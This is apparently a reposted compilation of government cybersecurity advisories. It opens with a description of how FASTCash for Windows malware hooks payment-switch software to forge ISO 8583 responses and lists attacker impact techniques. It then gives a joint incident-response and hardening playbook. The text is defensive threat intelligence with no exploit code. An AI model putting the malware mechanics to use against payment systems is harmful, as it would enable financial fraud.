FASTCash for Windows injects itself into software running on a Windows platform. The malware then takes control of the software’s network send and receive functions, allowing it to manipulate ISO 8583 messages. The U.S. Government has identified two variants of FASTCash for Windows. One variant supports ASCII encoding. The BeagleBoyz appear to have modified the second variant’s message parsing code to support Extended Binary Coded Decimal Interchange Code (EBCIDC) encoding. Both ASCII and EBCDIC are character encoding formats.  

FASTCash for Windows malware uses code from github.com/petewarden/c_hashmap for hashmaps, code from Microsoft’s Detours Library at github.com/Microsoft/Detours for hooking, and code from to parse ISO 8583 messages.

The malware hooks onto the send and receive function of the switch application so that it can process inbound request messages as they are received. FASTCash for Windows inspects the inbound message, probably looking for specific account numbers. If the account number matches an expected number, the malware constructs a fraudulent response message. If the account number does not match an expected number, the malware allows the request to pass through normally. If the malware constructs a fraudulent response message, it then sends it back to the acquirer without any further processing by the switch application, leaving the issuer without any awareness of the fraudulent transaction.

Full technical reports for FASTCash and FASTCash for Windows malware are available at https://us-cert.cisa.gov/northkorea.

The BeagleBoyz have used the following techniques to manipulate business and operational processes for monetary or destructive purposes (Impact [TA0040]).

  • Corrupt or wipe data storage, data structures, and Master Boot Records (MBR) to interrupt network availability, services, and resources (Disk Wipe: Disk Structure Wipe [T1561.002], Data Destruction [T1485])
  • Encrypt data on target systems and withhold access to the decryption key until a ransom is paid, or render data permanently inaccessible if the ransom is not paid (Data Encrypted for Impact [T1486])
  • Stop, disable, or render services unavailable on a system to damage the environment or inhibit incident response (Service Stop [T1489])
  • Insert, delete, or modify data at rest, in transit, or in use to manipulate outcomes, hide activity, and affect the business process, organizational understanding, and decision-making (Data Manipulation: Stored Data Manipulation [T1565.001], Data Manipulation: Transmitted Data Manipulation [T1565.002], Data Manipulation: Runtime Data Manipulation [T1565.003])

Source…

Technical Approaches to Uncovering and Remediating Malicious Activity

/in


This joint advisory is the result of a collaborative research effort by the cybersecurity authorities of five nations: Australia,[1] Canada,[2] New Zealand,[3][4] the United Kingdom,[5] and the United States.[6] It highlights technical approaches to uncovering malicious activity and includes mitigation steps according to best practices. The purpose of this report is to enhance incident response among partners and network administrators along with serving as a playbook for incident investigation.

Key Takeaways

When addressing potential incidents and applying best practice incident response procedures:

  • First, collect and remove for further analysis:
    • Relevant artifacts,
    • Logs, and
    • Data.
  • Next, implement mitigation steps that avoid tipping off the adversary that their presence in the network has been discovered.
  • Finally, consider soliciting incident response support from a third-party IT security organization to:
    • Provide subject matter expertise and technical support to the incident response,
    • Ensure that the actor is eradicated from the network, and
    • Avoid residual issues that could result in follow-up compromises once the incident is closed.

Click here for a PDF version of this report.

The incident response process requires a variety of technical approaches to uncover malicious activity. Incident responders should consider the following activities.

  • Indicators of Compromise (IOC) Search – Collect known-bad indicators of compromise from a broad variety of sources, and search for those indicators in network and host artifacts. Assess results for further indications of malicious activity to eliminate false positives.
  • Frequency Analysis – Leverage large datasets to calculate normal traffic patterns in both network and host systems. Use these predictive algorithms to identify activity that is inconsistent with normal patterns. Variables often considered include timing, source location, destination location, port utilization, protocol adherence, file location, integrity via hash, file size, naming convention, and other attributes.
  • Pattern Analysis – Analyze data to identify repeating patterns that are indicative of either automated mechanisms (e.g., malware, scripts) or routine human threat actor activity. Filter out the data containing normal activity and evaluate the remaining data to identify suspicious or malicious activity.
  • Anomaly Detection – Conduct an analyst review (based on the team’s knowledge of, and experience with, system administration) of collected artifacts to identify errors. Review unique values for various datasets and research associated data, where appropriate, to find anomalous activity that could be indicative of threat actor activity.

Recommended Artifact and Information Collection

When hunting and/or investigating a network, it is important to review a broad variety of artifacts to identify any suspicious activity that may be related to the incident. Consider collecting and reviewing the following artifacts throughout the investigation.

Host-Based Artifacts

  • Running Processes
  • Running Services
  • Parent-Child Process Trees
  • Integrity Hash of Background Executables
  • Installed Applications
  • Local and Domain Users
  • Unusual Authentications
  • Non-Standard Formatted Usernames
  • Listening Ports and Associated Services
  • Domain Name System (DNS) Resolution Settings and Static Routes
  • Established and Recent Network Connections
  • Run Key and other AutoRun Persistence
  • Scheduled Tasks
  • Artifacts of Execution (Prefetch and Shimcache)
  • Event logs
  • Anti-virus detections

Information to Review for Host Analysis

  • Identify any process that is not signed and is connecting to the internet looking for beaconing or significant data transfers.
  • Collect all PowerShell command line requests looking for Base64-encoded commands to help identify malicious fileless attacks.
  • Look for excessive .RAR, 7zip, or WinZip processes, especially with suspicious file names, to help discover exfiltration staging (suspicious file names include naming conventions such as, 1.zip, 2.zip, etc.).
  • Collect all user logins and look for outlier behavior, such as a time of login that is out of the ordinary for the user or a login from an Internet Protocol (IP) address not normally used by the user.
  • On Linux/Unix operating systems (OSs) and services, collect all cron and systemd /etc/passwd files looking for unusual accounts and log files, such as accounts that appear to be system / proc users but have an interactive shell such as /bin/bash rather than /bin/false/nologin
  • On Microsoft OSs, collect Scheduled Tasks, Group Policy Objects (GPO), and Windows Management Instrumentation (WMI) database storage on hosts of interest looking for malicious persistence.
  • Use the Microsoft Windows Sysinternals Autoruns tool, which allows IT security practitioners to view—and, if needed, easily disable—most programs that automatically load onto the system.
  • Check the Windows registry and Volume Shadow Copy Service for evidence of intrusion.
  • Consider blocking script files like .js, .vbs, .zip, .7z, .sfx and even Microsoft Office documents or PDFs.
  • Collect any scripts or binary ELF files from /dev/shm/tmp and /var/tmp.
  • Kernel modules listed (lsmod) for signs of a rootkit; dmesg command output can show signs of rootkit loading and device attachment amongst other things.
  • Archive contents of /var/log for all hosts.
  • Archive output from journald. These logs are pretty much the same as /var/log; however, they provide some integrity checking and are not as easy to modify. This will eventually replace the /var/log contents for some aspects of the system. Check for additional Secure Shell (SSH) keys added to user’s authorized_keys.

Network-Based Artifacts

  • Anomalous DNS traffic and activity, unexpected DNS resolution servers, unauthorized DNS zone transfers, data exfiltration through DNS, and changes to host files
  • Remote Desktop Protocol (RDP), virtual private network (VPN) sessions, SSH terminal connections, and other remote abilities to evaluate for inbound connections, unapproved third-party tools, cleartext information, and unauthorized lateral movement
  • Uniform Resource Identifier (URI) strings, user agent strings, and proxy enforcement actions for abusive, suspicious, or malicious website access
  • Hypertext Transfer Protocol Secure/Secure Sockets Layer (HTTPS/SSL)
  • Unauthorized connections to known threat indicators
  • Telnet
  • Internet Relay Chat (IRC)
  • File Transfer Protocol (FTP)

Information to Review for Network Analysis

  • Look for new connections on previously unused ports.
  • Look for traffic patterns related to time, frequency, and byte count of the connections.
  • Preserve proxy logs. Add in the URI parameters to the event log if possible.
  • Disable LLMNR on the corporate network; if unable to disable, collect LLMNR (UDP port 5355) and NetBIOS-NS (UDP port 137).
  • Review changes to routing tables, such as weighting, static entries, gateways, and peer relationships.

Common Mistakes in Incident Handling

After determining that a system or multiple systems may be compromised, system administrators and/or system owners are often tempted to take immediate actions. Although well intentioned to limit the damage of the compromise, some of those actions have the adverse effect of:

  1. Modifying volatile data that could give a sense of what has been done; and
  2. Tipping the threat actor that the victim organization is aware of the compromise and forcing the actor to either hide their tracks or take more damaging actions (like detonating ransomware).

Below—and partially listed in figure 1—are actions to avoid taking and some of the consequence of taking such actions.

  • Mitigating the affected systems before responders can protect and recover data
    • This can cause the loss of volatile data such as memory and other host-based artifacts.
    • The adversary may notice and change their tactics, techniques, and procedures.
  • Touching adversary infrastructure (Pinging, NSlookup, Browsing, etc.)
    • These actions can tip off the adversary that they have been detected.
  • Preemptively blocking adversary infrastructure
    • Network infrastructure is fairly inexpensive. An adversary can easily change to new command and control infrastructure, and you will lose visibility of their activity.
  • Preemptive credential resets
    • Adversary likely has multiple credentials, or worse, has access to your entire Active Directory.
    • Adversary will use other credentials, create new credentials, or forge tickets.
  • Failure to preserve or collect log data that could be critical to identifying access to the compromised systems
    • If critical log types are not collected, or are not retained for a sufficient length of time, key information about the incident may not be determinable. Retain log data for at least one year.
  • Communicating over the same network as the incident response is being conducted (ensure all communications are held out-of-band)
  • Only fixing the symptoms, not the root cause
    • Playing “whack-a-mole” by blocking an IP address—without taking steps to determine what the binary is and how it got there—leaves the adversary an opportunity to change tactics and retain access to the network.

Figure 1: Common missteps to be avoided when responding to an incident

The following recommendations and best practices may be helpful during the investigation and remediation process. Note: Although this guidance provides best practices to mitigate common attack vectors, organizations should tailor mitigations to their network.

General Mitigation Guidance

Restrict or Discontinue Use of FTP and Telnet Services

The FTP and Telnet protocols transmit credentials in cleartext, which are susceptible to being intercepted. To mitigate this risk, discontinue FTP and Telnet services by moving to more secure file storage/file transfer and remote access services.

  • Evaluate business needs and justifications to host files on alternative Secure File Transfer Protocol (SFTP) or HTTPS-based public sites.
  • Use Secure Shell (SSH) for access to remote devices and servers.
Restrict or Discontinue Use of Non-approved VPN Services
  • Investigate the business needs and justification for allowing traffic from non-approved VPN services.
  • Identify such services across the enterprise and develop measures to add the application and browser plugins that enable non-approved VPN services to the denylist.
  • Enhance endpoint monitoring to obtain visibility on devices with non-approved VPN services running. Enhanced endpoint monitoring and detection capabilities would enable an organization’s IT security personnel to manage approved software as well as identify and remove any instances of unapproved software.
Shut down or Decommission Unused Services and Systems
  • Cyber actors regularly identify servers that are out of date or end of life (EOL) to gain access to a network and perform malicious activities. These present easy and safe locations to maintain persistence on a network.
  • Often these services and servers are systems that have begun decommissioning, but the final stage has not been completed by shutting down the system. This means they are still running and vulnerable to compromise.
  • Ensuring that decommissioning of systems has been completed or taking appropriate action to remove them from the network limits their susceptibility and reduces the investigative surface to be analyzed.
Quarantine and Reimage Compromised Hosts

Note: proceed with caution to avoid the adverse effects detailed in the Common Mistakes in Incident Handling section above.

  • Reimage or remove any compromised systems found on the network.
  • Monitor and educate users to be cautious of any downloads from third-party sites or vendors.
  • Block the known bad domains and add a web content filtering capability to block malicious sites by category to prevent future compromise.
  • Sanitize removable media and investigate network shares accessible by users.
  • Improve existing network-based malware detection tools with sandboxing capabilities.
Disable Unnecessary Ports, Protocols, and Services
  • Identify and disable ports, protocols, and services not needed for official business to prevent would-be attackers from moving laterally to exploit vulnerabilities. This includes external communications as well as communications between networks.
  • Document allowed ports and protocols at the enterprise level.
  • Restrict inbound and outbound access to ports and protocols not justified for business use.
  • Restrict allowed access list to assets justified by business use.
  • Enable a firewall log for inbound and outbound network traffic as well as allowed and denied traffic.
Restrict or Disable Interactive Login for Service Accounts

Service accounts are privileged accounts dedicated to certain services to perform activities related to the service or application without being tied to a single domain user. Given that services tend to be privileged accounts and thereby have administrative privileges, they are often a target for attackers aiming to obtain credentials. Interactive login to a service account not directly tied to an end-user account makes it difficult to identify accountability during cyber incidents.

  • Audit the Active Directory (AD) to identify and document active service accounts.
  • Restrict use of service accounts using AD group policy.
  • Disallow interactive login by adding service account to a group of non-interactive login users.
  • Continuously monitor service account activities by enhancing logging.
  • Rotate service accounts and apply password best practices without service, degradation, or disruption.
Disable Unnecessary Remote Network Administration Tools
  • If an attacker (or malware) gains access to a remote user’s computer, steals authentication data (login/password), hijacks an active remote administration session, or successfully attacks a vulnerability in the remote administration tool’s software, the attacker (or malware) will gain unrestricted control of the enterprise network environment. Attackers can use compromised hosts as a relay server for reverse connections, which could enable them to connect to these remote administration tools from anywhere.
  • Remove all remote administration tools that are not required for day-to-day IT operations. Closely monitor and log events for each remote-control session required by department IT operations.
Manage Unsecure Remote Desktop Services

Allowing unrestricted RDP access can increase opportunities for malicious activity such as on path and Pass-the-Hash (PtH) attacks.

  • Implement secure remote desktop gateway solutions.
  • Restrict RDP service trust across multiple network zones.
  • Implement privileged account monitoring and short time password lease for RDP service use.
  • Implement enhanced and continuous monitoring of RDP services by enabling logging and ensure RDP logins are captured in the logs.
Credential Reset and Access Policy Review

Credential resets need to be done to strategically ensure that all the compromised accounts and devices are included and to reduce the likelihood that the attacker is able to adapt in response to this.

  • Force password resets; revoke and issue new certificates for affected accounts/devices.
  • If it is suspected that the attacker has gained access to the Domain Controller, then the passwords for all local accounts—such as Guest, HelpAssistant, DefaultAccount, System, Administrator, and kbrtgt—should be reset. It is essential that the password for the kbrtgt account is reset as this account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. The account should be reset twice (as the account has a two-password history).
    • The first account reset for the kbrtgt needs to be allowed to replicate prior to the second reset to avoid any issues.
  • If it is suspected that the ntds.dit file has been exfiltrated, then all domain user passwords will need to be reset.
  • Review access policies to temporarily revoke privileges/access for affected accounts/devices. If it is necessary to not alert the attacker (e.g., for intelligence purposes), then privileges can be reduced for affected accounts/devices to “contain” them.
Patch Vulnerabilities

Attackers frequently exploit software or hardware vulnerabilities to gain access to a targeted system.

  • Known vulnerabilities in external facing devices and servers should be patched immediately, starting with the point of compromise, if known.
    • Ensure external-facing devices have not been previously compromised while going through the patching process.
  • If the point of compromise (i.e., the specific software, device, server) is known, but how the software, device, or server was exploited is unknown, notify the vendor so they can begin analysis and develop a new patch.
  • Follow vendor remediation guidance including the installation of new patches as soon as they become available.

General Recommendations and Best Practices Prior to an Incident

Properly implemented defensive techniques and programs make it more difficult for a threat actor to gain access to a network and remain persistent yet undetected. When an effective defensive program is in place, attackers should encounter complex defensive barriers. Attacker activity should also trigger detection and prevention mechanisms that enable organizations to identify, contain, and respond to the intrusion quickly. There is no single technique, program, or set of defensive techniques or programs that will completely prevent all attacks. The network administrator should adopt and implement multiple defensive techniques and programs in a layered approach to provide a complex barrier to entry, increase the likelihood of detection, and decrease the likelihood of a successful attack. This layered mitigation approach is known as defense-in-depth.

User Education

End users are the frontline security of the organizations. Educating them in security principles as well as actions to take and not take during an incident will increase the organization’s resilience and might prevent easily avoidable compromises.

  • Educate users to be cautious of any downloads from third-party sites or vendors.
  • Train users on recognizing phishing emails. There are several systems and services (free and otherwise) that can be deployed or leveraged.
  • Train users on identifying which groups/individuals to contact when they suspect an incident.
  • Train users on the actions they can and cannot take if they suspect an incident and why (some users will attempt to remediate and might make things worst).
Allowlisting
  • Enable application directory allowlisting through Microsoft Software Restriction Policy or AppLocker.
  • Use directory allowlisting rather than attempting to list every possible permutation of applications in a network environment. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), and SYSTEM32. Disallow all other locations unless an exception is granted.
  • Prevent the execution of unauthorized software by using application allowlisting as part of the OS installation and security hardening process.
Account Control
  • Decrease a threat actor’s ability to access key network resources by implementing the principle of least privilege.
  • Limit the ability of a local administrator account to log in from a local interactive session (e.g., Deny access to this computer from the network) and prevent access via an RDP session.
  • Remove unnecessary accounts and groups; restrict root access.
  • Control and limit local administration; e.g. implementing Just Enough Administration (JEA), just-in-time (JIT) administration, or enforcing PowerShell Constrained Language mode via a User Mode Code Integrity (UMCI) policy.
  • Make use of the Protected Users Active Directory group in Windows domains to further secure privileged user accounts against pass-the-hash attacks.
Backups
  • Identify what data is essential to keeping operations running; make regular backup copies.
  • Test that backups are working to ensure they can restore the data in the event of an incident.
  • Create offline backups to help recover from a ransomware attack or from disasters (fire, flooding, etc.).
  • Securely store offline backups at an offsite location. If feasible, choose an offsite location that is at a distance from the primary location that would be unaffected in the event of a regional natural disaster.
Workstation Management
  • Create and deploy a secure system baseline image to all workstations.
  • Mitigate potential exploitation by threat actors by following a normal patching cycle for all OSs, applications, and software, with exceptions for emergency patches.
  • Apply asset and patch management processes.
  • Reduce the number of cached credentials to one (if a laptop) or zero (if a desktop or fixed asset).
Host-Based Intrusion Detection / Endpoint Detection and Response
  • Configure and monitor workstation system logs through a host-based endpoint detection and response platform and firewall.
  • Deploy an anti-malware solution on workstations to prevent spyware, adware, and malware as part of the OS security baseline.
    • Ensure that your anti-malware solution remains up to date.
  • Monitor antivirus scan results on a regular basis.
Server Management
  • Create a secure system baseline image and deploy it to all servers.
  • Upgrade or decommission end-of-life non-Windows servers.
  • Upgrade or decommission servers running Windows Server 2003 or older versions.
  • Implement asset and patch management processes.
  • Audit for and disable unnecessary services.
Server Configuration and Logging
  • Establish remote server logging and retention.
  • Reduce the number of cached credentials to zero.
  • Configure and monitor system logs via a centralized security information and event management (SIEM) appliance.
  • Add an explicit DENY for %USERPROFILE%.
  • Restrict egress web traffic from servers.
  • In Windows environments, use Restricted Admin mode or remote credential guard to further secure remote desktop sessions against pass-the-hash attacks.
  • Restrict anonymous shares.
  • Limit remote access by only using jump servers for such access.
  • On Linux, use SELINUX or AppArmor in enforcing mode and/or turn on audit logging.
  • Turn on bash shell logging; ship this and all logs to a remote server.
  • Do not allow users to use su. Use Sudo -l instead.
  • Configure automatic updates in yum or apt.
  • Mount /var/tmp and /tmp as noexec.
Change Control
  • Create a change control process for all implemented changes.
Network Security
  • Implement an intrusion detection system (IDS).
    • Apply continuous monitoring.
    • Send alerts to a SIEM tool.
    • Monitor internal activity (this tool may use the same tap points as the netflow generation tools).
  • Employ netflow capture.
    • Set a minimum retention period of 180 days.
    • Capture netflow on all ingress and egress points of network segments, not just at the Managed Trusted Internet Protocol Services or Trusted Internet Connections locations.
  • Capture all network traffic
    • Retain captured traffic for a minimum of 24 hours.
    • Capture traffic on all ingress and egress points of the network.
  • Use VPN
    • Maintain site-to-site VPN with customers and vendors.
    • Authenticate users utilizing site-to-site VPNs.
    • Use authentication, authorization, and accounting for controlling network access.
    • Require smartcard authentication to an HTTPS page in order to control access. Authentication should also require explicit rostering of permitted smartcard distinguished names to enhance the security posture on both networks participating in the site-to-site VPN.
  • Establish appropriate secure tunneling protocol and encryption.
  • Strengthen router configuration (e.g., avoid enabling remote management over the internet and using default IP ranges, automatically log out after configuring routers, and use encryption.).
  • Turn off Wi-Fi protected setup, enforce the use of strong passwords, and keep router firmware up-to-date.
  • Improve firewall security (e.g., enable automatic updates, revise firewall rules as appropriate, implement allowlists, establish packet filtering, enforce the use of strong passwords, encrypt networks).
    • Whenever possible, ensure access to network devices via external or untrusted networks (specifically the internet) is disabled.
  • Manage access to the internet (e.g., providing internet access from only devices/accounts that need it, proxying all connections, disabling internet access for privileged/administrator accounts, enabling policies that restrict internet access using a blocklist, a resource allowlist, content type, etc.)
    • Conduct regular vulnerability scans of the internal and external networks and hosted content to identify and mitigate vulnerabilities.
    • Define areas within the network that should be segmented to increase the visibility of lateral movement by a threat and increase the defense-in-depth posture.
    • Develop a process to block traffic to IP addresses and domain names that have been identified as being used to aid previous attacks.
  • Evaluate and consider the security configurations of Microsoft Office 365 (O365) and other cloud collaboration service platforms prior to deployment.
    • Use multi-factor authentication. This is the best mitigation technique to protect against credential theft for O365 administrators and users.
    • Protect Global Admins from compromise and use the principle of “Least Privilege.”
    • Enable unified audit logging in the Security and Compliance Center.
    • Enable alerting capabilities.
    • Integrate with organizational SIEM solutions.
    • Disable legacy email protocols, if not required, or limit their use to specific users.
Network Infrastructure Recommendations
  • Create a secure system baseline image and deploy it to all networking equipment (e.g., switches, routers, firewalls).
  • Remove unnecessary OS files from the internetwork operating system (IOS). This will limit the possible targets of persistence (i.e., files to embed malicious code) if the device is compromised and will align with National Security Agency Network Device Integrity best practices.
  • Remove vulnerable IOS OS files (i.e., older iterations) from the device’s boot variable (i.e., show boot or show bootvar).
  • Update to the latest available operating system for IOS devices.
  • On devices with a Secure Sockets Layer VPN enabled, routinely verify customized web objects against the organization’s known good files for such VPNs, to ensure the devices remain free of unauthorized modification.
  • Ensure that any incident response tools that point to external domains are either removed or updated to point to internal security tools. If this is not done and an external domain to which a tool points expires, a malicious threat actor may register it and start collecting telemetry from the infrastructure.
Host Recommendations
  • Implement policies to block workstation-to-workstation RDP connections through a Group Policy Object on Windows, or by a similar mechanism.
  • Store system logs of mission critical systems for at least one year within a SIEM tool.
  • Review the configuration of application logs to verify that recorded fields will contribute to an incident response investigation.
User Management
  • Reduce the number of domain and enterprise administrator accounts.
  • Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).
  • If possible, use technical methods to detect or prevent browsing by privileged accounts (authentication to web proxies would enable blocking of Domain Administrators).
  • Use two-factor authentication (e.g., security tokens for remote access and access to any sensitive data repositories).
  • If soft tokens are used, they should not exist on the same device that is requesting remote access (e.g., a laptop) and instead should be on a smartphone, token, or other out-of-band device.
  • Create privileged role tracking.
  • Create a change control process for all privilege escalations and role changes on user accounts.
  • Enable alerts on privilege escalations and role changes.
  • Log privileged user changes in the network environment and create an alert for unusual events.
  • Establish least privilege controls.
  • Implement a security-awareness training program.
Segregate Networks and Functions

Proper network segmentation is a very effective security mechanism to prevent an intruder from propagating exploits or laterally moving around an internal network. On a poorly segmented network, intruders are able to extend their impact to control critical devices or gain access to sensitive data and intellectual property. Security architects must consider the overall infrastructure layout, segmentation, and segregation. Segregation separates network segments based on role and functionality. A securely segregated network can contain malicious occurrences, reducing the impact from intruders, in the event that they have gained a foothold somewhere inside the network.

Physical Separation of Sensitive Information

Local Area Network (LAN) segments are separated by traditional network devices such as routers. Routers are placed between networks to create boundaries, increase the number of broadcast domains, and effectively filter users’ broadcast traffic. These boundaries can be used to contain security breaches by restricting traffic to separate segments and can even shut down segments of the network during an intrusion, restricting adversary access.

Recommendations:

  • Implement Principles of Least Privilege and need-to-know when designing network segments.
  • Separate sensitive information and security requirements into network segments.
  • Apply security recommendations and secure configurations to all network segments and network layers.
Virtual Separation of Sensitive Information

As technologies change, new strategies are developed to improve IT efficiencies and network security controls. Virtual separation is the logical isolation of networks on the same physical network. The same physical segmentation design principles apply to virtual segmentation but no additional hardware is required. Existing technologies can be used to prevent an intruder from breaching other internal network segments.

Recommendations:

  • Use Private Virtual LANs to isolate a user from the rest of the broadcast domains.
  • Use Virtual Routing and Forwarding (VRF) technology to segment network traffic over multiple routing tables simultaneously on a single router.
  • Use VPNs to securely extend a host/network by tunneling through public or private networks.

Additional Best Practices

  • Implement a vulnerability assessment and remediation program.
  • Encrypt all sensitive data in transit and at rest.
  • Create an insider threat program.
  • Assign additional personnel to review logging and alerting data.
  • Complete independent security (not compliance) audits.
  • Create an information sharing program.
  • Complete and maintain network and system documentation to aid in timely incident response, including:
    • Network diagrams,
    •  Asset owners,
    • Type of asset, and
    • An up-to-date incident response plan.

Resources

Source…